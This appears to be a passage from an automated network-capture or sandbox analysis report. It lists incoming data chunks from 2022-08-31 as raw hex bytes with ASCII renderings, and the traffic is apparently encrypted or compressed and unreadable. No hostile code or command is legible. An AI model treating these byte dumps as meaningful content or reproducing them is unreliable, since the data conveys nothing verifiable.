2022-08-31 12:28:59 UTC	715	IN	Data Raw: 8b cd eb f7 b2 71 67 83 0b 9b e6 06 82 c1 a7 9d 26 0c 4a 1c b3 94 d7 60 c8 cf 0f 7b bd a1 ac 9e 78 8d 78 03 3a 83 95 80 ce 87 b5 ce 7b 59 01 a6 95 04 20 bd 0e c6 82 f0 b0 32 bd 56 ab 19 ec a5 20 11 88 76 b7 d8 a3 2c ba d2 a9 88 5d 27 38 bc 49 0a b9 c6 bf a5 90 43 fa 3c c4 4d b7 aa 87 db f8 12 58 40 c8 33 5d d7 67 09 5b de c3 4b da 6d 05 0d c0 86 ee b7 8a 33 60 46 6b 2b 22 95 c2 60 6b 07 b9 28 b1 b3 d5 93 87 82 75 66 73 8d 0e b7 91 e0 e0 12 90 3a 25 95 ba cf 65 11 94 eb 4d f7 01 c6 72 3f 8d 6c 9a 1b 47 c1 9c df a7 90 1a c0 fb d6 a1 0a 33 7e 85 e2 6e 9b 51 31 7d ac 24 3e e2 6d 5b e5 0c 68 95 38 0e 32 63 f3 88 e6 62 5a c6 7d 48 1a ac a1 1d 3d c8 c2 2b 14 4c 4b 8b fe e6 a6 39 f1 2a 5b e2 68 9a 81 7e ac f7 1c 32 3e 67 23 9a 74 38 d4 2d 1f 00 69 22 13 68 52 17 Data Ascii: qg&J`{xx:{Y 2V v,]'8IC<MX@3]g[Km3`Fk+"`k(ufs:%eMr?lG3~nQ1}$>m[h82cbZ}H=+LK9*[h~2>g#t8-i"hR
2022-08-31 12:28:59 UTC	731	IN	Data Raw: 46 b6 78 26 a6 e3 8f 61 19 21 0a 40 a5 2d 0a 60 6c 91 f2 dd 57 54 b6 7c 18 54 bb fd a9 d9 4c 46 cd 4e 7a 06 c7 0b e3 06 bd 20 56 94 4b b9 c7 f4 90 07 7e b4 dd 18 be d5 4d 10 8f 16 89 90 a3 2d cc e7 e6 6b af 35 93 26 94 72 7d c2 2b d8 97 3e 50 93 3b db e7 53 09 f5 76 97 8c a6 41 6f 2a 8d 8c df 62 70 02 ff ad 30 f7 b6 3b b0 ee 3b ac 26 64 b7 17 8b ac d0 90 c8 d4 e6 e4 0c f5 7d 9c 8e 5e 70 e3 a6 13 e8 68 ea 32 e6 63 05 a5 74 f1 cb 12 16 4b 68 3b bc c2 aa bc 63 56 eb ba 9c dd 7a 94 b9 46 cd eb 80 50 00 0b 17 17 fa f7 25 ed b8 a5 08 ca d0 ac 21 24 e4 6a a6 e7 0d 5e 93 db 6b 7e ba 6b 6b 44 75 45 b4 bf b3 56 18 9e a0 9b f3 f0 e3 5c fb 49 44 fe 05 a3 fd 22 d7 2d be 79 93 f0 0d 6a 69 45 fb 8e a9 54 53 3b d4 4a fb 33 da 3a 55 9c 29 e9 68 8f 37 3e 8f 11 eb 21 d8 e7 Data Ascii: Fx&a!@-`lWT\|TLFNz VK~M-k5&r}+>P;SvAo*bp0;;&d}^ph2ctKh;cVzFP%!$j^k~kkDuEV\ID"-yjiETS;J3:U)h7>!
2022-08-31 12:28:59 UTC	743	IN	Data Raw: c5 28 a1 12 e7 94 82 ec aa b7 bf 7e e9 24 e4 6b a4 8f c5 d1 35 49 1b a8 4c 35 93 d6 82 24 02 f4 4b 24 ee 65 a9 df f9 33 a0 e3 ac 5e b3 af e0 48 6c 7b 80 36 94 0c 47 e2 5d e2 f4 06 7d cf 59 69 d4 39 b3 aa ee cc e8 52 6b d5 c9 d0 94 81 e2 23 ab a3 06 ed b5 8b 0f 3a cd 5d 5f 58 6e ad 3c 26 58 3a d3 1b 62 1c 26 98 15 a9 63 e0 4c 3a 16 aa e7 3e 41 1b e4 5d 15 83 84 e6 e8 68 0d b8 3b 4c b6 71 b4 3a c2 c7 e6 c9 16 f8 cd e6 ff 81 74 7c 12 7a a0 41 8a 2f 08 70 28 fd 2e 8a 37 20 9a cc 38 ec 76 14 4c 15 24 b8 d8 14 d1 0e e1 a0 7f ae d3 c9 39 13 41 28 0a ae 88 15 86 3d 4b 26 ca 26 f7 1a da aa 33 6a 79 76 4a de 01 ed f8 22 2f 39 45 61 06 7a 3c 21 c4 de b0 87 bd 22 fa e0 c4 f4 eb 59 bd af 63 66 15 65 84 99 46 09 9a 53 58 90 44 ac d9 fa 13 07 80 4a 9d be 18 d2 e1 58 de Data Ascii: (~$k5IL5$K$e3^Hl{6G]}Yi9Rk#:]_Xn<&X:b&cL:>A]h;Lq:t\|zA/p(.7 8vL$9A(=K&&3jyvJ"/9Eaz<!"YcfeFSXDJX
2022-08-31 12:28:59 UTC	759	IN	Data Raw: de 6b ed 3d cc af 4a 19 5a 40 f5 6d 8c b8 84 39 4e 75 f2 fe ad 21 40 ae ec c1 56 1e 3f 9b 6e 61 1d 74 17 96 35 ee f2 e1 5e 2b d8 44 1f 8a 29 48 d4 58 3e a6 9f 01 f1 18 5e 44 70 9d f1 e0 1a 88 85 4e 0b 5a 0e 33 f3 20 03 b0 25 ba fe a6 97 03 58 f4 f8 64 a3 e9 f3 a5 e7 94 6e 90 b7 4b 80 81 ee 2f dc d0 72 e7 11 a9 0f cf 6e 87 52 d5 57 3c 73 8f 1a 10 57 06 eb 88 96 17 e1 69 6e 85 ee 36 c6 08 37 0b cd 28 7d 1e 31 de 96 a0 73 30 b8 a5 da 36 eb f4 6b e5 3b 65 eb da 00 13 46 ae 98 ec 13 da 16 76 e5 09 f2 d6 b1 73 28 63 8a 6f 82 27 9b 12 25 9a cc 83 dc dc 79 34 e1 f8 dc 0a 27 f6 1b 02 77 ed 36 2d 81 04 b9 28 27 cb 8c 6d 7a 4f 15 a8 6d 69 63 a7 c5 13 da 1e 83 18 01 ad 06 5f 66 47 3d dd f8 bd 5a d1 53 f0 60 77 29 ef a2 ee 6c 1c 8d e4 63 32 f3 b3 ad 31 c1 09 5a 2a 82 Data Ascii: k=JZ@m9Nu!@V?nat5^+D)HX>^DpNZ3 %XdnK/rnRW<sWin67(}1s06k;eFvs(co'%y4'w6-('mzOmic_fG=ZS`w)lc21Z*
2022-08-31 12:28:59 UTC	775	IN	Data Raw: 3f 41 35 f9 d5 14 18 93 04 77 0a 80 b3 a6 54 b7 1d 42 b5 82 b0 04 2c ec c1 ed a4 28 ca 69 9e 39 85 e9 03 7a 1a 91 2d 33 5e 00 bc 35 0c f6 68 e9 c2 bb f9 82 17 38 94 f9 51 48 a8 8d db 4a 24 46 d3 8a 35 9b 1e 18 60 92 ce 3b c1 35 82 cd 4c 6f 18 95 da a4 e3 f5 5a be c5 3b 93 c2 93 d4 e7 6a ec f9 f9 71 6f bb 6c 41 7d 63 3b 89 93 f5 1c 67 79 90 c2 07 73 7e f7 1a 84 61 12 79 92 86 b0 76 c2 90 e1 fa 8c 08 7f 23 0f 17 b8 e4 6e b0 87 17 b2 eb a8 81 81 db 93 23 0f 1c 4d d9 fb 91 a4 7d 76 78 cc 03 ad 2f 18 9a 31 07 ba 6a c7 dd ba f8 28 44 19 21 1d 00 62 4d 8e 38 a6 7a cb d0 21 3e 03 96 7a a9 5b 66 f4 bc 6e 07 f0 06 eb 5c f0 31 0e ba 71 93 4b 78 9b 49 b3 07 e7 f5 27 22 4f a5 9c 47 e6 9e 7f b4 cd 84 ed 3a 89 6a 0f 45 22 a6 a3 34 50 f1 ce bb 15 07 ae 90 12 c4 f8 8a 14 Data Ascii: ?A5wTB,(i9z-3^5h8QHJ$F5`;5LoZ;jqolA}c;gys~ayv#n#M}vx/1j(D!bM8z!>z[fn\1qKxI'"OG:jE"4P
2022-08-31 12:28:59 UTC	791	IN	Data Raw: b2 11 e7 98 11 66 7e 19 2a 29 ca 65 4e 59 1c 43 ea 7a af 46 20 13 92 a0 36 67 a3 c7 88 74 94 fa 66 0c be ad 04 ff 77 22 09 88 8b 0e eb 7d 50 c0 88 e1 54 d9 e5 52 8e 03 37 5a e2 06 ea d5 06 cb 03 0f 1b 30 ef 49 ab 01 3a 19 a7 76 a4 6a eb cd 73 ff c1 cf cc 5d 6e 66 dd 71 1a 3d a9 c4 6b a7 04 a0 a7 da 78 ed b5 c5 38 bb 5c cf d1 b3 c7 f9 b0 96 d5 9d f3 49 6f 5b 93 4f 0d 16 be 81 3d d4 60 7a 84 40 27 e9 e8 75 4e 40 3b 95 e8 78 d9 ec 69 4b de 05 c2 0c 10 82 79 cd 9a 87 23 5b d7 28 1d 2d f7 27 a8 4e 8a 19 2e fe ed 41 48 6e 76 1f 7a d3 ee b9 68 1e 3b 6f ec 34 6e 6b ef b0 7f c5 57 9a cc bc 98 66 9e 0c 2f 38 e6 80 3c 08 33 07 03 cd c9 31 81 86 85 d7 e9 90 39 38 35 23 a4 25 7a 59 7f 7e b1 be ab a3 08 53 99 f3 4d d6 e5 63 d6 0d 8e 48 8f 1d 61 73 ec 9b ad 1c 03 c7 13 Data Ascii: f~*)eNYCzF 6gtfw"}PTR7Z0I:vjs]nfq=kx8\Io[O=`z@'uN@;xiKy#[(-'N.AHnvzh;o4nkWf/8<31985#%zY~SMcHas
2022-08-31 12:28:59 UTC	807	IN	Data Raw: 9c 06 6a 69 bc ca 79 8c 08 6f ca 00 39 83 5c 17 33 fd da b0 72 1a 30 54 f0 04 c4 05 84 72 fb a7 41 0b 92 8a b6 18 88 b7 60 91 fd 38 e0 ae fa a7 f2 97 2c 60 b6 a7 dc f9 c8 82 dc 53 1d a7 04 a1 2f 88 28 ad c7 c7 3a bc ba 68 55 a0 05 d1 e7 eb b5 ab 56 17 08 a8 f5 42 00 58 66 e0 b5 cf 7c 1d b0 66 fe 8d 7d 62 fc de df 06 6d d2 76 aa e7 5e 93 89 47 ec 8e ba b0 48 6c be c6 4d d1 eb 4f d4 03 2e f1 72 ab 75 0c a6 de 82 10 0b 63 09 24 98 3e cd cc ec 07 c4 6a d8 f1 9e c0 6a 5d 87 3e f7 cb ea 7a 21 4f b4 c4 51 f4 21 4c e7 6e d8 36 36 c6 f0 32 ba df 0d 8d c4 d5 cb ba 9c 17 5c f5 78 9a 69 ed 20 5c 48 b5 d2 0e 74 8a c2 08 98 69 ec 6b 35 07 33 a6 50 a6 98 89 4b c8 7b 3d 0a a3 16 03 2d 05 bd 3b 46 58 06 c0 93 dd 5c 7f 41 53 71 28 fe e6 12 fb e2 a9 38 f4 59 3f 20 f8 db e5 Data Ascii: jiyo9\3r0TrA`8,`S/(:hUVBXf\|f}bmv^GHlMO.ruc$>jj]>z!OQ!Ln662\xi \Htik53PK{=-;FX\ASq(8Y?
2022-08-31 12:28:59 UTC	823	IN	Data Raw: c0 21 fa ff 00 2b 51 71 de 65 33 41 4c 3a 2b c2 3f 36 4f 52 22 79 48 85 63 68 45 09 a1 6e 1b 19 46 c5 8d b5 d1 e4 4c c6 b9 94 02 1c 96 66 2a 9d c8 06 31 ef fd ff 3a e9 10 8e 74 70 8a 0d 80 53 42 34 f5 74 c3 2c 88 74 41 82 21 e2 f2 ba d7 42 f5 59 35 db 1e d4 7c ff 0b 1d 88 6e 35 5b 73 ef 39 3e 95 ba 30 03 18 2c ec 4f d8 f8 98 2f ac c3 1d 83 8f 30 5c 23 7a ab 02 93 3a 22 9b 91 9c 0d e1 22 69 22 6a b4 97 bf cc 7a 85 bf c9 a4 d8 fb f4 1c 5a 9d 18 0e 58 62 58 6e 71 9e 37 1e 58 c7 9b b0 56 9c 5a a3 e1 72 c5 04 dd 25 08 35 0d 52 21 e6 21 e6 7c cf fa ef 69 a0 d0 b2 f7 24 96 f0 0b f2 1b d5 d1 15 44 97 0e b0 0e a2 32 46 63 aa b4 68 07 82 5e 5b 8d 12 ca 8f 2d 44 b9 91 61 23 09 1f 86 a4 8d 03 8b 03 3b e3 31 d6 ac 0b 3f 8a d8 61 c8 07 5b 33 88 9c fd 16 6e f1 8f d5 17 Data Ascii: !+Qqe3AL:+?6OR"yHchEnFLf*1:tpSB4t,tA!BY5\|n5[s9>0,O/0\#z:""i"jzZXbXnq7XVZr%5R!!\|i$D2Fch^[-Da#;1?a[3n
2022-08-31 12:28:59 UTC	839	IN	Data Raw: b4 57 da 53 04 61 bf e9 de 61 a5 ec da b7 ae 4a 0c 91 ec e6 fd e2 8b 8c 61 f6 5c 76 4b e3 9c 28 cd 25 08 0d 78 75 89 9b 72 df 61 0e 94 81 89 e5 a9 aa ae 52 6c c1 c0 50 ac 0b d0 22 a3 04 bb 51 96 2a 81 ed 55 df 86 7b ba 0b e5 8a 5b 37 ff f7 c9 a6 4a 2e aa 50 ba 2b 61 c4 68 9c c3 13 a3 55 af 36 88 d4 4d 10 ef 1b 81 6b 7c 0d e1 6e 07 55 e2 f7 d1 a4 34 2a 4f 28 66 db c4 69 66 21 9d 16 0e a5 ce 60 1e a0 bf 0c 7c 49 40 da 6b 1c 54 db 31 f5 b0 35 d2 2f fb 57 94 9f 12 03 33 36 0a cf 4e 89 9b 27 71 3d 44 97 5e 5f cf b6 af e6 0c 75 8c c3 31 79 98 a8 00 76 e4 37 ad 57 a9 d0 83 6b 9d e8 1d 23 51 d4 39 eb de 74 63 c7 94 cd dc d4 18 0f d5 13 88 71 c8 18 41 e4 54 53 5b 60 d7 ac fd 32 77 ce 98 9b 71 1b 40 ba 5c f8 43 3f 98 48 6e e4 e8 86 15 53 e4 43 97 a2 02 b0 9d 36 99 Data Ascii: WSaaJa\vK(%xuraRlP"QU{[7J.P+ahU6Mk\|nU4O(fif!`\|I@kT15/W36N'q=D^_u1yv7Wk#Q9tcqATS[`2wq@\C?HnSC6
2022-08-31 12:28:59 UTC	855	IN	Data Raw: 65 87 44 c8 b8 2e ec a5 50 37 34 d3 a7 9a 1d ab 6d 31 32 6c 21 67 92 c4 1a 17 11 a4 28 f1 08 6d 2b af 79 08 2e f7 07 b5 65 b5 23 db f4 23 1f 90 2c 0f af 23 b1 ef b9 78 40 e7 bf b9 c8 90 7f b1 4b da 02 5f e5 b2 dc a2 fd 29 12 f7 fe f1 20 21 36 20 6a 95 50 a9 73 e6 d7 d5 f3 54 3e 5c 95 b6 ab 0a f7 d2 b3 b2 6d e4 b7 fb fd bc a6 cb bd 2c 8f c5 87 20 83 dd 23 c6 70 00 b7 33 50 d2 69 c8 34 1e 3c 40 a9 1d 95 cd c9 99 7c ce 1c 85 58 71 ed 2a 28 d1 82 37 36 52 cc e5 58 12 da 76 8f 53 9a 1d d2 d1 eb af 3e 02 bb f3 94 89 11 98 39 8b 61 f7 21 a7 c3 2e c5 18 8e d6 8f e1 ba 1e f0 91 31 dc a4 55 7e f9 51 85 e3 c3 ed 36 ac 95 cc e7 86 10 41 fb 0d 91 ed 73 2f d5 1b 86 6d 40 67 a1 22 89 a2 e9 8a b9 5b f2 c3 2c 38 73 2d d6 53 35 28 7d a7 c9 20 e1 aa 32 01 9c 21 fb f6 30 ee Data Ascii: eD.P74m12l!g(m+y.e##,#x@K_) !6 jPsT>\m, #p3Pi4<@\|Xq*(76RXvS>9a!.1U~Q6As/m@g"[,8s-S5(} 2!0
2022-08-31 12:28:59 UTC	871	IN	Data Raw: ea 25 aa 6d 30 5e 63 71 32 57 f0 8c 56 43 9b 52 ab 75 c3 8d 21 b3 bf 2a 1d 47 b6 f3 7e 9c a3 d9 da 09 fa d9 f9 e6 59 43 cc 3f 75 5a 62 42 b2 f3 2a 98 c3 79 c5 f8 b3 66 37 9a 6a dc 74 12 ae c0 ef 08 36 f1 fa 57 a8 07 5a 4f 87 aa e9 78 da 17 26 fa 27 b6 b4 4c c3 bd 3c cf 7a 83 e7 0c 2e 14 22 4b 53 71 70 7f 9c 58 bb 63 fe 7c 98 94 5c 3c 03 b2 14 3a c5 8b d2 02 25 93 56 17 e4 5b 97 c7 12 e0 b0 d8 8f b9 85 97 03 88 4f e8 0a ae 42 9f dc 11 18 09 98 54 fe 68 8f d5 01 39 c0 7e da 1a 6a 48 c0 07 17 de f1 0c 8d 5b a3 8a de d7 1b f1 d7 49 c9 94 4a 97 0c 9e 71 f5 e7 09 c3 86 dd ca 95 5e 61 4e 7e 87 80 32 43 09 e0 83 1f 7b 19 42 f4 73 dc 77 d1 0d e7 80 7c 01 08 2d f5 c3 ff 58 87 25 0b d7 22 1e d5 19 ad 08 51 fa 85 48 24 75 e7 c2 78 71 01 59 ca e3 32 da 13 8b 54 00 43 Data Ascii: %m0^cq2WVCRu!G~YC?uZbByf7jt6WZOx&'L<z."KSqpXc\|\<:%V[OBTh9~jH[IJq^aN~2C{Bsw\|-X%"QH$uxqY2TC
2022-08-31 12:28:59 UTC	887	IN	Data Raw: e8 5d 35 cc e5 88 83 96 21 e9 68 3a e2 c5 82 91 b7 5c e6 6c fa 99 7a 48 cb 22 21 01 09 95 c0 9d b8 4a 35 a1 b8 e8 ce 57 1e f0 52 1e 04 d7 a8 4d 6b 83 5b f9 52 a7 0f 0e 16 14 dc 22 85 8b a4 8a 03 9d 1f 67 7b 07 40 0b bb d0 0f dc 46 64 da 67 90 fe 9c a5 b6 e7 d9 29 27 98 58 63 e6 ad 3a 11 bc 2e 71 2f 88 25 1d 83 3a 8a b3 2d 62 19 b7 71 05 12 a4 66 cc a0 2c ea e1 15 36 4f 3f af 26 56 64 55 4c ff 1e b3 5c ea 7d 6f 27 a2 6f 35 ce d0 a0 28 49 46 37 75 eb 18 55 31 f1 60 fa 6d 24 b6 d8 c1 b2 03 31 b7 61 4b dc 1e af d2 66 0b c7 e4 93 c0 64 c1 62 b8 be 0e 53 fc 5e c2 6f ca 89 47 c8 68 5b 16 48 82 ce 9e 5d 62 b7 69 2b a8 37 4d 4a cb 09 ab 7c f6 8e 90 89 1b af e9 46 21 c4 07 30 b0 e3 3b fb a3 7f 03 ed b4 21 b4 d2 23 9a 5c b1 54 72 57 7d bf 9d 1a 04 3c 17 b3 91 52 e7 Data Ascii: ]5!h:\lzH"!J5WRMk[R"g{@Fdg)'Xc:.q/%:-bqf,6O?&VdUL\}o'o5(IF7uU1`m$1aKfdbS^oGh[H]bi+7MJ\|F!0;!#\TrW}<R
2022-08-31 12:28:59 UTC	903	IN	Data Raw: 34 a9 b9 87 4d 84 5f 8e 80 0f cb 8c 7b 35 79 e8 8f 0f 9c 04 13 8c c1 7e a9 65 13 69 00 8c f0 53 6c 67 da 89 5b 28 0b f8 5f 7b a5 f6 f4 03 f1 23 46 8e bd df 77 93 a6 18 23 cb 2a 53 6f e7 12 31 5a 15 6d 6b d6 a9 6c 94 d4 e8 0e 97 89 41 21 94 9a df 6f 7e 67 bc 27 83 90 dc 81 02 61 ff b7 58 67 85 e1 32 f7 5c 7a 31 e0 06 92 01 43 1a 9f 07 a2 ca f0 a8 f3 52 d8 45 bf 5a a1 4c dd 8e cf 68 54 9b 20 49 16 ca 22 37 aa b5 df c3 45 37 15 be 7b 6e b6 fa 4d bb 2d b7 2e 26 72 56 ef be 76 79 77 35 4a 8d d5 17 57 10 c1 7f 36 a0 d3 42 3f 55 e6 d6 fc de 18 ba c9 d9 3e 5a c7 e0 72 fb fd 76 ec 3c 2c 92 60 d0 e2 a6 8b 15 41 fa d5 ee 54 50 91 27 95 e7 63 b7 1f 8e c1 f8 cc 63 e1 4e 7d 0d 39 24 1a 78 6e 57 2d 13 d7 1b 7b 5a a4 c7 45 c4 f3 58 ee 37 6a 65 06 52 c6 bc 3c 2b 4c 42 61 Data Ascii: 4M_{5y~eiSlg[(_{#Fw#*So1ZmklA!o~g'aXg2\z1CREZLhT I"7E7{nM-.&rVvyw5JW6B?U>Zrv<,`ATP'ccN}9$xnW-{ZEX7jeR<+LBa
2022-08-31 12:28:59 UTC	919	IN	Data Raw: ab fb f8 e7 44 d6 49 18 08 6e 9b aa 4c e6 f7 a5 74 76 37 85 02 ae ec 44 44 6e 14 dc 5d 98 ce 77 8a a3 6e 17 9e 00 41 aa 3f f8 a4 21 15 9e 6a c9 01 03 ba c2 ce e9 e1 93 37 b3 8a 41 8a 0e c7 5b 7c f7 41 8d d5 0b ba da dc 71 b9 35 3c e2 d7 02 fc 59 38 1a df ae 66 e3 d9 87 0f 14 59 24 85 c5 c5 54 7f 44 c2 42 d9 a2 50 11 28 46 3d 04 82 58 df 7f 6b 48 4e 56 75 7a 58 8c 41 75 c5 d7 c3 c9 c8 4a ba 86 d0 c4 cf e1 db 8d f8 7f e9 13 fa 1d e2 63 69 18 e8 09 61 b9 5e 7d b0 12 c4 6e 2f e3 4e 0f 2c e7 89 ac b7 26 71 ee e6 1f 81 89 08 ce a7 96 9d f1 b8 92 7c 8e c3 94 1e 61 c3 c1 ce 00 da e9 ab 83 60 bc 77 f2 9c 19 fe 32 33 1e d3 09 6d 3d 33 1d cf 27 9e c1 9a 45 0f f8 a8 0a 53 0c 9d 80 e7 9d 79 50 ea f8 87 6a eb 6b 47 a2 a2 3d 62 2b 76 5b a1 97 d5 59 4a 6d a5 a5 74 2e 79 Data Ascii: DInLtv7DDn]wnA?!j7A[\|Aq5<Y8fY$TDBP(F=XkHNVuzXAuJcia^}n/N,&q\|a`w23m=3'ESyPjkG=b+v[YJmt.y
2022-08-31 12:28:59 UTC	935	IN	Data Raw: 55 45 91 8a 81 69 57 28 18 37 ac 6e 2a 55 07 47 0a 3d 2a a0 e9 95 4b dc 48 c0 7a f4 cb 67 6d 7f 6c 5d 84 b4 e5 f0 4a dd ef 5b 06 89 67 54 89 06 42 83 34 cf fc f1 6c b3 51 dd ed b7 c3 60 86 d5 1b 05 3f 3b 72 df 20 35 2a c6 4d d9 6a 0b b1 2a 7d f6 24 c5 73 1f 22 b4 04 08 de d5 ab 10 fd 86 d7 63 af 25 42 90 8c 14 9d b4 13 25 da 94 67 f2 15 df 74 65 96 b7 91 5f c3 c5 03 33 11 e0 aa 29 7e fa 18 1a 09 b6 16 df 8e f2 e4 ee f6 70 8b fb ba 6a c0 4d 1c 31 a9 cb 95 2e b3 da 67 80 d1 66 c7 99 2d d9 b0 33 ae 5e 21 7d 29 4d 2b 02 f2 c2 cd 7b de c8 64 b1 b3 84 9a 70 81 6b f0 9c d6 33 5e c4 df 41 ce d5 82 f6 6b c8 75 5d 08 fa bb 87 f7 9f d0 36 e2 2f ca 1e e7 92 a2 fd 8f 79 62 8c 80 d7 db 08 7e 53 ea 46 fa a9 bb b6 f7 63 c5 ea 28 e7 99 a2 56 aa 34 12 b6 37 a1 ad 29 45 03 Data Ascii: UEiW(7nUG=KHzgml]J[gTB4lQ`?;r 5Mj}$s"c%B%gte_3)~pjM1.gf-3^!})M+{dpk3^Aku]6/yb~SFc(V47)E
2022-08-31 12:28:59 UTC	951	IN	Data Raw: a8 6c 5b 12 de 6e fb e4 ef ed a4 2e 09 9e 9f 33 ba bb 5e 09 72 6d c8 8a c1 71 69 67 82 2a 9e ae 04 58 48 f9 d0 c2 dd e0 19 67 f9 46 c1 03 60 90 58 0d 2d b1 4b 69 5d 65 d9 fe 84 54 88 5a 4f b9 72 0c 9e a2 7e 7d d6 b8 ed da 7b a1 c4 b9 19 c7 5d fe a4 32 75 ac 6a 06 db c4 48 2b 80 4b a7 b9 4f fc 0f cd 96 0c 1e 50 76 58 c6 1e c5 f0 cc 7e 1f ee ac 6f 3c 33 36 4c c4 01 fc 2d 29 ee cc 9e 78 f6 f1 6e 9c 3c c8 96 40 8e f4 95 e7 53 c1 b7 52 05 b1 e8 28 d0 e3 84 f1 09 0b de 37 08 3d 7d b4 3c c9 b1 bc ea 57 31 2f a2 17 8c e8 75 69 0e cf e6 06 7c ca f0 d4 cf ce 79 ce 24 d1 06 dc 29 51 25 e3 7e 10 07 e4 00 79 f2 6c a6 33 28 56 52 41 2a cd b9 e3 47 87 ee 20 97 ba d3 0f f2 65 64 c3 b5 b3 88 0f e8 da d9 1b 15 e0 23 3b 33 a8 e8 f7 eb 21 bf 25 53 68 59 e4 ec d0 22 3f 75 7f Data Ascii: l[n.3^rmqigXHgF`X-Ki]eTZOr~}{]2ujH+KOPvX~o<36L-)xn<@SR(7=}<W1/ui\|y$)Q%~yl3(VRAG ed#;3!%ShY"?u
2022-08-31 12:28:59 UTC	967	IN	Data Raw: e2 d0 ae b7 be 61 e0 17 29 b7 ec 89 e5 ec 99 66 f2 00 f1 bd 29 0a 99 e8 22 08 bc 29 20 41 6c 13 a8 ee ae dd 0f f6 d6 9e 42 e0 03 80 05 9f e6 0a 15 12 e7 67 18 aa a7 2c 89 d8 b8 8a df 2c 72 e2 7d 6c 27 65 2f bd 90 79 4f 3a cd 20 de 5d c0 bc f7 b5 c0 d4 8b 90 e2 e1 02 64 b3 c4 6b 9b 24 68 ab 7b 82 81 f0 50 40 a1 bd 51 37 ef 08 a8 e5 2f ea 67 ea b4 0c 12 ce 77 ad ae 95 8b 76 cf 11 01 bd 08 9b c8 d8 51 dc 8e b5 fc 19 6f ff dc b7 e8 7d cb 4f e5 33 2b 26 43 5a b1 8b 8f b0 d1 a3 aa ca 59 e5 3d 36 96 47 6e 84 fd 3f 31 18 54 b7 30 ce 53 54 fe a2 70 03 69 b3 3d 1f 7c c0 31 76 c8 c3 d1 f5 8b e6 ad e2 7b f5 f8 6f 4a bf 5a 6e 2f ec 8d 91 37 21 9d 91 72 2e b0 60 19 a8 80 66 f8 0a fc 88 5d a9 bb ef 80 75 57 a5 9b d6 9e 1c 88 61 9e 0a b4 89 82 38 34 1f 68 0c 2d f6 bf 4d Data Ascii: a)f)") AlBg,,r}l'e/yO: ]dk$h{P@Q7/gwvQo}O3+&CZY=6Gn?1T0STpi=\|1v{oJZn/7!r.`f]uWa84h-M
2022-08-31 12:28:59 UTC	983	IN	Data Raw: 44 f1 ad 19 e3 59 57 f2 13 d9 ad ff e5 14 66 a0 d7 1d fa 9a cf 87 d3 27 37 fa b0 26 ad 9d 63 01 70 de 88 a4 61 16 08 fe a3 68 76 9d a4 f8 c6 f2 30 ea 17 ea a3 5b fd 02 7d 3d d9 74 26 09 5c ed 1b 64 29 e9 dc 8b 4f ad be 36 65 37 83 55 7a 36 46 88 a1 8f 0c 56 18 7c b8 ca 97 58 88 c0 3c bb ec 1c a3 5b 5e c3 b6 a1 93 ae d9 0b 40 74 bb f9 5f e2 67 7d ff f2 c7 78 86 10 6b df 3d 6b 6d d6 f6 52 58 d5 40 f6 c9 a1 b7 6d 79 71 bf bd 9c 75 09 cc ec a7 97 ee 72 75 4e a3 48 67 7c c8 39 24 1f 24 7e dc c7 6b e1 a2 c1 18 76 1a 70 91 09 c5 ed 81 ed 24 d8 09 a9 be 83 1c d7 18 93 44 8a b7 77 15 c8 52 de 24 14 ef 30 bb 5f cf 56 f0 53 61 51 41 1c 95 b8 11 b3 49 ef 63 3c 93 a7 de 40 b0 3f 81 0a 8a f2 7c 33 67 6f 0a 2a 0d 93 e0 8d df 37 e1 27 97 ff 88 59 7b 9e 70 de 09 0d 23 b8 Data Ascii: DYWf'7&cpahv0[}=t&\d)O6e7Uz6FV\|X<[^@t_g}xk=kmRX@myquruNHg\|9$$~kvp$DwR$0_VSaQAIc<@?\|3go*7'Y{p#
2022-08-31 12:28:59 UTC	999	IN	Data Raw: b8 8e 93 ae 26 3e 6b 70 e5 ab 64 de 21 fd 51 3b 4f 0a ab 63 0a 96 4b 88 8c 56 b2 99 c4 bf 0c 34 73 74 31 4b 94 bc 24 f6 f3 36 ae 92 f9 9b 8e ab 4d e9 2d f1 5d ab 95 d2 cb cb c1 8b 7c bb 96 2c fc 01 93 b2 0e cd 03 b5 d0 2b c2 21 b8 5b 45 e6 c4 a3 94 e2 05 5a cb c7 11 cd 14 f8 94 31 6d ca e9 51 61 e3 fd 78 f7 94 fc 69 ce e9 13 6d e8 dd 7c 99 6e c4 58 da fa dc 69 1e 3f 75 16 fa 1d e6 51 ba 16 c8 5a b4 27 e6 af 81 53 7d a9 75 5e 4a c5 91 9a 17 bc a9 a1 af 40 aa fc d7 73 96 30 2d 9a 03 e0 88 20 d1 55 b4 2b 9b 28 92 e5 23 b2 b9 94 ab ea b9 20 e6 16 d8 fe 2a 67 b6 36 85 06 b9 9c 51 b5 e1 bb ad 41 7e 82 63 aa 68 65 40 c8 75 2e 24 86 24 0e eb 34 35 93 09 e5 20 18 8f b7 c2 ba f9 83 db 4f 62 47 ab 34 1a 42 ea c6 a1 57 48 50 c6 a8 bc 61 33 dd be 1b 03 03 48 8d f8 97 Data Ascii: &>kpd!Q;OcKV4st1K$6M-]\|,+![EZ1mQaxim\|nXi?uQZ'S}u^J@s0- U+(# *g6QA~che@u.$$45 ObG4BWHPa3H
2022-08-31 12:28:59 UTC	1015	IN	Data Raw: 6e 53 2b 62 9f b8 78 98 26 23 3a 1a 7a 3e c5 ab 92 89 1e 75 0e 1a 1b 99 78 ae 9b b4 da 5b da d9 71 99 3b b3 2b 7b 2a e2 27 b0 0a e1 0a 70 1a 62 f2 91 e2 20 d2 e2 9d 62 ff fc 06 f5 db ef a7 56 36 90 eb b1 5f 7a 7d 91 4a b1 41 74 f1 ab bf 8b 46 41 6e fd 78 2f a0 29 2a 43 e1 8d 81 f6 f6 72 49 3f c5 de a0 2d 77 4e 66 80 41 32 2a 53 3c b1 16 df 3c c4 7f 60 2d 38 cf c0 a8 01 6b 5f 1d 9a 86 32 72 fc c0 45 0c 71 b0 94 4b ce 36 be fb 3e 7d 64 2d 50 fb 7a 72 57 ac c7 e8 10 70 27 e6 31 d5 8a b5 28 cc de 8e 1d a2 12 13 8d 55 a7 70 aa 5a dd f7 10 22 f6 67 96 ff eb c5 35 ea 67 1b 4d 8b 44 ed ac c9 7d df 41 07 3e 30 9e 39 73 70 f9 ac 6e 50 7a 72 a4 81 47 77 1e 73 b9 d0 de 2e 26 a9 ae 42 20 1e a2 0c ba be ce f9 dc 9b 0a 6d 09 f5 db 11 f3 df e3 93 94 18 7c 62 6d b3 5a a4 Data Ascii: nS+bx&#:z>ux[q;+{'pb 